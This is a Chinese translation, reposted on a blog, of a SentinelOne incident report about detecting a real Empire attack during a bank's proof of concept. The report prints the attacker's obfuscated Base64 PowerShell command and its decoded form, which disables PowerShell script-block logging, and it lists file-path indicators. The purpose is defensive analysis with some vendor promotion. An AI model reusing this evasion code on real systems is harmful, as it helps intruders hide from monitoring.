我们是如何检测到一次真实的帝国漏洞攻击的

概述

本文主要讨论了一次为潜在银行客户执行POC (Proof of Concept)SentinelOne solution(解决方案)和Vigilance service (服务)过程中遇到的攻击。在模拟了针对受SentinelOne Agent代理保护的目标终端的攻击之后,潜在客户也因此成为了真正的客户。尽管这是一个带有各种攻击矢量干扰的嘈杂环境,但该服务却能够将真实攻击与模拟攻击区分开来,并对其进行平息。

本案例突出说明了专业安全团队的重要性,不仅在例行监控期间,而且特别是在如POC,入门引导,违规后探索,渗透测试等敏感时期,其能够用敏锐(的眼光)发现一些异常或可疑事件。

事件经过

我们被一位大型银行客户邀请参加POC。在进入POC几天后,Vigilance团队就在很短的时间内发现了同一台机器上的多种威胁,包括用于渗透测试的典型威胁。例如:

Eicar样品

CQHashDumpv2(密码转储工具)

NetCat装置

然后,该团队将此信息共享给了客户。(然而)他们(却)被告知这些事件是该机器批准测试的一部分。

大约一周后,SentinelOne Agent代理触发了Firefox漏洞的警报。

以下是SentinelOne控制台上显示的攻击路线经过:

                                                     图1:在SentinelOne控制台上展示的攻击路线经过

攻击历史给我们展示了这台机器上到底发生了什么。 例如,它显示了正在运行的进程以及它们之间的关系,它们运行所使用的命令等。

该团队开始调查这些威胁,并发现了以下有趣的观点:

1)该攻击可能是在收到电子邮件之后,由从Firefox浏览器下载的恶意Word文档发起的。 该文档使用宏来打开PowerShell控制台并运行已知的Empire代码。

代理检测到的漏洞,如图2所示。

                                                                                  图2:Firefox漏洞的检测

参考VirusTotal记录,团队能够确定该文件是新的。

它第一次提交给VirusTotal的时间是在UTC时间2018-10-24 09:17:01,仅比客户机器上打开的时间早两小时。

                                                                    图3:VT中显示的威胁文件检测历史

2)在检测到威胁的时刻,VT57个引擎中只有12个引擎识别出该文档是恶意的,其中之一就有包括SentinelOne Static AI引擎。 这种基于AI的引擎完全没有签名,因此不需要频繁更新。

                                                          图4:57个引擎中的12个在VT中检测到恶意文件

3)当团队调查攻击历史时,他们发现了一个加载到PowerShell中的伪装Base64代码。

                                                                           图5:伪装的Base64代码

伪装的代码段如下:

-W 1 -C [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('c3RvcC1wcm9jZXNzIC1uYW1lIHJlZ3N2cjMyIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=='))|iex; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('SWYoJHtQYFNgVmVyc2BJb05UQWJsZX0uUFNWZXJzaW9OLk1hSk9yIC1nZSAzKXske2dgUGZ9PVtSRWZdLkFTU2VNYmx5LkdFVFRZUEUoKCdTeXN0ZW0uJysnTWFuYWdlJysnbWUnKydudCcrJy5BJysndXRvbWF0aW9uLlUnKyd0aWxzJykpLiJHZVRGSWVgTGQiKCgnY2FjaGVkRycrJ3JvJysndXAnKydQb2xpYycrJ3lTZXR0aW4nKydncycpLCdOJysoJ29uUHUnKydibGljLCcrJ1N0YXQnKydpYycpKTtJZigke2dgcEZ9KXske0dgUGN9PSR7R2BwZn0uR2V0VkFMVWUoJHtOdWBMbH0pO0lmKCR7Z2BwY31bKCdTJysnY3InKydpcHRCJykrKCdsbycrJ2NrTG8nKydnZ2knKyduZycpXSl7JHtHYFBDfVsoJ1NjcmlwdCcrJ0InKSsoJ2wnKydvY2tMb2dnaScrJ25nJyldWygnRW5hJysnYicrJ2xlJysnU2MnKydyaXB0QicpKygnbG8nKydja0wnKydvZ2cnKydpbmcnKV09MDske2dgUEN9WygnU2NyaScrJ3AnKyd0QicpKygnbG9jaycrJ0xvZ2dpJysnbicrJ2cnKV1bKCdFbmEnKydiJysnbGVTYycrJ3JpJysncHRCJysnbG9ja0ludm9jYXRpb25Mb2cnKydnaScrJ25nJyldPTB9JHtWYEFsfT1bQ29sbGVDdGlvTnMuR2VOZVJ

然后,该团队分两个段落对Base64代码进行去伪装。

半伪装代码:

If(${P`S`Vers`IoNTAble}.PSVersioN.MaJOr -ge 3){${g`Pf}=[REf].ASSeMbly.GETTYPE(('System.'+'Manage'+'me'+'nt'+'.A'+'utomation.U'+'tils'))."GeTFIe`Ld"(('cachedG'+'ro'+'up'+'Polic'+'ySettin'+'gs'),'N'+('onPu'+'blic,'+'Stat'+'ic'));If(${g`pF}){${G`Pc}=${G`pf}.GetVALUe(${Nu`Ll});If(${g`pc}[('S'+'cr'+'iptB')+('lo'+'ckLo'+'ggi'+'ng')]){${G`PC}[('Script'+'B')+('l'+'ockLoggi'+'ng')][('Ena'+'b'+'le'+'Sc'+'riptB')+('lo'+'ckL'+'ogg'+'ing')]=0;${g`PC}[('Scri'+'p'+'tB')+('lock'+'Loggi'+'n'+'g')][('Ena'+'b'+'leSc'+'ri'+'ptB'+'lockInvocationLog'+'gi'+'ng')]=0}${V`Al}=[ColleCtioNs.GeNeR

去伪后的代码:

If(${PSVersIoNTAble}.PSVersioN.MaJOr -ge

3){${gPf}=[REf].ASSeMbly.GETTYPE(('System.Management.Automation.Utils'))."GeTFIeLd"(('cachedGroupPolicySe

ttings'),'N'+('onPublic,Static'));If(${gpF}){${GPc}=${Gpf}.GetVALUe(${NuLl});If(${gpc}[('ScriptB')+('lockLogging')]){${G

PC}[('ScriptB')+('lockLogging')][('EnableScriptB')+('lockLogging')]=0;${gPC}[('ScriptB')+('lockLogging')][('EnableScript

BlockInvocationLogging')]=0}${V`Al}=[ColleCtioNs.GeNeR

该代码被证实是一个存储在Github中的流行帝国代码:

https://github.com/EmpireProject/Empire/blob/master/lib/listeners/http_hop.py

该团队解决这个重大挑战之后,开始继续寻找其它线索指标。

5)将一个可疑文件加载到certutil进程中:

temp.txt hvKqcJJPFnm7.txt

该团队怀疑这个文件主要是因为它有一个非典型的文本文件名,即使用 - “.txt”和随机字母作为文件名的一部分。

                                                                       图6:加载到certutil进程中的可疑文件

6)团队怀疑一个BAT文件加载到了cmd:

\Device\HarddiskVolume2\Users\FIM2\AppData\Roaming\66tGuhDsc2K9N.bat

由于文件的存放位置和名称,让人引起了怀疑:即有一个较长的随机文件名和\ AppData \ Roaming \folder 路径。

                                                                             图7:可疑的BAT文件

Vigilance团队的回应

无论客户是否正在执行渗透测试,只要一旦被验证为真实的威胁,团队就会实时响应缓解措施。

SentinelOne solution的解决方案提供不同的缓解措施,例如查杀恶意进程,隔离与威胁相关的文件,移除恶意软件对系统所做的任何更改,甚至将计算机回滚到之前所处于的感染之前状态。

在这种情况下,客户选择了在团队提供所有的相关数据后进行机器回滚恢复。这通过使用SentinelOne agent代理回滚机制就可以完成。

团队还向客户提供了所有可用的取证数据和背景,确保所有受SentinelOne保护的机器中的任何相似恶意软件都能得到平息。

该历史案例突出展示了专业的SOC团队在识别零日威胁并跟踪它们方面的重要性。虽然产品本身是自主的,但提供了进一步行动的背景环境,对进一步采取的分析和提议方面具有重要意义。

结论

SentinelOne Vigilance团队凭借他们的专业知识和SentinelOne提供的数据,并与客户共享信息,成功挖掘了该起可疑事件。所有人都同意:Vigilance团队在对曝光真正的攻击尝试(这件事)做出了重大贡献。

对于银行客户而言,遭受此类攻击将可能会导致严重后果,从而导致高额财务成本支出和声誉受损。实际上在POC期间实施的攻击,是有可能使它逃过检测装置的探测的。但在这里,优秀的SOC团队专业知识和经验与成功的下一代终端保护解决方案相结合给出了不一样的表现。

什么是Vigilance?

Vigilance是SentinelOne提供的托管检测和响应(MDR)服务,由一群训练有素的网络安全分析师提供。它通过加速对高级网络威胁的检测,优先级排序和响应来增强IT / SOC团队的能力,从而减少错过需要关注的关键警报的风险。 Vigilance分析师按需评估所有警报,复查原始威胁数据、操作流程和网络连接,并分析相应样本。该小组经常调查的有趣案例之一就是本文的主题。

本文翻译自:https://www.sentinelone.com/blog/how-we-detected-a-real-empire-exploit-attack/

如有不妥之处,请多多指教!

最近正好对翻译感兴趣,所以就冒昧的献丑翻译了下!

如果觉得还可以,那就赞一个或者扫我的头像关注我吧!

猜你喜欢

转载自blog.csdn.net/julius_lee/article/details/84645738
今日推荐